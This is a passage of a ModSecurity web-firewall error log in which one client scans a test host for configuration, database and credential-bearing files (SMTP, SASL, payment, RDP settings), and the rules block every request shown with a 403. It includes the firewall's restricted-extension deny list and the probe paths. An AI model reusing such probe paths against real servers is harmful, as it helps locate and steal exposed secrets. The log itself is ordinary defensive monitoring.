&quot;/rabbitmq/rabbitmq.conf&quot;] [unique_id &quot;aaSS4OtFoLKW-75qAOxnsgAAAAk&quot;]
[Sun Mar 01 20:26:24.786832 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq/rabbitmq.conf&quot;] [unique_id &quot;aaSS4OtFoLKW-75qAOxnsgAAAAk&quot;]
[Sun Mar 01 20:26:24.787013 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq/rabbitmq.conf&quot;] [unique_id &quot;aaSS4OtFoLKW-75qAOxnsgAAAAk&quot;]
[Sun Mar 01 20:26:24.877471 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rdp_config.ini&quot;] [unique_id &quot;aaSS4OtFoLKW-75qAOxntgAAAAk&quot;]
[Sun Mar 01 20:26:24.878008 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rdp_config.ini&quot;] [unique_id &quot;aaSS4OtFoLKW-75qAOxntgAAAAk&quot;]
[Sun Mar 01 20:26:24.878177 2026] [:error] [pid 2408733] [client 185.177.72.30:35762] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rdp_config.ini&quot;] [unique_id &quot;aaSS4OtFoLKW-75qAOxntgAAAAk&quot;]
[Sun Mar 01 20:26:25.107198 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/recurrent/payment.cfg&quot;] [unique_id &quot;aaSS4Y03pg4df9PPalFoQQAAAAE&quot;]
[Sun Mar 01 20:26:25.107767 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/recurrent/payment.cfg&quot;] [unique_id &quot;aaSS4Y03pg4df9PPalFoQQAAAAE&quot;]
[Sun Mar 01 20:26:25.107941 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/recurrent/payment.cfg&quot;] [unique_id &quot;aaSS4Y03pg4df9PPalFoQQAAAAE&quot;]
[Sun Mar 01 20:26:25.199301 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redteam/beacon.config&quot;] [unique_id &quot;aaSS4Y03pg4df9PPalFoRQAAAAE&quot;]
[Sun Mar 01 20:26:25.200000 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redteam/beacon.config&quot;] [unique_id &quot;aaSS4Y03pg4df9PPalFoRQAAAAE&quot;]
[Sun Mar 01 20:26:25.200161 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redteam/beacon.config&quot;] [unique_id &quot;aaSS4Y03pg4df9PPalFoRQAAAAE&quot;]
[Sun Mar 01 20:26:25.638114 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/retry/payment_attempts.db&quot;] [unique_id &quot;aaSS4Y03pg4df9PPalFoWAAAAAE&quot;]
[Sun Mar 01 20:26:25.638643 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/retry/payment_attempts.db&quot;] [unique_id &quot;aaSS4Y03pg4df9PPalFoWAAAAAE&quot;]
[Sun Mar 01 20:26:25.638814 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/retry/payment_attempts.db&quot;] [unique_id &quot;aaSS4Y03pg4df9PPalFoWAAAAAE&quot;]
[Sun Mar 01 20:26:26.072934 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rspamd/local.d/milter_headers.conf&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFoawAAAAE&quot;]
[Sun Mar 01 20:26:26.073437 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rspamd/local.d/milter_headers.conf&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFoawAAAAE&quot;]
[Sun Mar 01 20:26:26.073617 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rspamd/local.d/milter_headers.conf&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFoawAAAAE&quot;]
[Sun Mar 01 20:26:26.095657 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rspamd/override.d/headers.conf&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFobAAAAAE&quot;]
[Sun Mar 01 20:26:26.096120 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rspamd/override.d/headers.conf&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFobAAAAAE&quot;]
[Sun Mar 01 20:26:26.096265 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rspamd/override.d/headers.conf&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFobAAAAAE&quot;]
[Sun Mar 01 20:26:26.416079 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sap/settings.ini&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFoegAAAAE&quot;]
[Sun Mar 01 20:26:26.416575 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sap/settings.ini&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFoegAAAAE&quot;]
[Sun Mar 01 20:26:26.416729 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sap/settings.ini&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFoegAAAAE&quot;]
[Sun Mar 01 20:26:26.440469 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sap/smtpsettings.ini&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFoewAAAAE&quot;]
[Sun Mar 01 20:26:26.441223 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sap/smtpsettings.ini&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFoewAAAAE&quot;]
[Sun Mar 01 20:26:26.441512 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sap/smtpsettings.ini&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFoewAAAAE&quot;]
[Sun Mar 01 20:26:26.463930 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sasl/settings.conf&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFofAAAAAE&quot;]
[Sun Mar 01 20:26:26.464693 2026] [:error] [pid 2400022] [client 185.177.72.30:35778] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sasl/settings.conf&quot;] [unique_id &quot;aaSS4o03pg4df9PPalFofAAAAAE&quot;]
